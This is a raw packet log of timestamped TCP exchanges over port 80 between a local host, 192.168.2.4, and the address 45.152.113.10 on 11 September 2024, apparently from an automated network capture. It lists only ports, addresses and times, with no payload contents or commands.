Sep 11, 2024 22:52:05.642981052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.642999887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643032074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643071890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643080950 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643111944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643112898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643146038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643148899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643168926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643178940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643191099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643212080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643243074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643261909 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643263102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643296957 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643320084 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643328905 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643357992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643361092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643419027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643419027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643419027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643459082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643488884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643490076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643510103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643542051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643542051 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643575907 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643609047 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643615007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643630981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643640041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643670082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643673897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643687010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643691063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643713951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643729925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643737078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643745899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643759012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643771887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643788099 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643802881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643810034 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643820047 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643830061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643838882 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643855095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643872023 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643872976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643887997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643903971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643907070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643918037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643927097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643934011 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643949986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643964052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.643965006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643980980 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643995047 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.643997908 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.644010067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.644017935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.644026041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.644042015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.644057035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.644062996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.644072056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.644088030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.644102097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.644103050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.644118071 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.644121885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.644141912 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.644176960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.678659916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.678683043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.678699017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.678754091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.678755045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.678755045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.678771019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.678786993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.678838015 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.678838015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.678838015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.678853989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.678868055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.678891897 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.678930044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.678977013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679009914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679039001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679047108 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679080009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679088116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679088116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679114103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679136992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679174900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679317951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679367065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679380894 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679428101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679428101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679464102 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679491997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679497004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679513931 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679529905 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679557085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679563046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679598093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679620028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679764032 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679797888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679826975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679851055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679860115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679893017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679924965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679929018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679945946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.679956913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.679979086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.680006981 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.680007935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.680056095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.680058002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.680089951 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.680121899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.680121899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.680141926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.680155993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.680176973 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.680188894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.680217981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.680219889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.680239916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.680253983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.680275917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.680286884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.680305958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.680321932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.680346012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.680351973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.680381060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.680411100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.692632914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.692666054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.692701101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.692703009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.692724943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.692764997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.692826986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.692859888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.692893028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.692919970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.692924976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.692939997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.692981005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.693393946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.693442106 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.693469048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.693483114 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.693491936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.693519115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.693553925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.693555117 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.693576097 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.693588018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.693613052 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.693624020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.693641901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.693686962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.693731070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.693761110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.693799973 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.693816900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.693842888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.693875074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.693908930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.693926096 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.693927050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.693957090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.693974018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.693980932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.693989038 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.694005013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.694015980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.694034100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.694051027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.694066048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.694070101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.694082975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.694099903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.694111109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.694114923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.694130898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.694132090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.694153070 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.694189072 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.730470896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.730566978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.730575085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.730598927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.730637074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.730654001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.730679035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.730686903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.730709076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.730724096 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.730745077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.730758905 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.730781078 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.730809927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.730818033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.730844021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.730874062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.730876923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.730895996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.730926037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.730931044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.730958939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.730988979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.730990887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731007099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731041908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731046915 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731075048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731096029 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731108904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731132984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731158018 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731165886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731193066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731228113 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731240988 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731254101 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731292963 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731298923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731324911 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731358051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731360912 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731381893 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731415033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731422901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731467962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731481075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731517076 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731529951 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731551886 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731583118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731589079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731589079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731631994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731641054 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731686115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731699944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731719017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731740952 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731749058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731779099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731781006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731797934 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731813908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731834888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731862068 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731872082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731894970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731925964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731928110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731947899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731960058 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.731982946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.731993914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.732006073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.732027054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.732049942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.732062101 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.732091904 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.732095003 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.732112885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.732129097 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.732148886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.732161045 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.732183933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.732192993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.732217073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.732244968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.732275963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.732278109 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.732296944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.732312918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.732343912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.732353926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.732353926 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.732378006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.732393980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.732410908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.732445002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.732445955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.732465982 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.732517004 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.766568899 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.766638041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.766652107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.766690016 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.766695976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.766725063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.766752958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.766757965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.766773939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.766791105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.766817093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.766825914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.766834974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.766876936 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.766880989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.766911030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.766931057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.766942978 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.766976118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.766968966 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767004967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:05.767008066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767040014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:05.767052889 CEST	49733	80	192.168.2.4	45.152.113.10
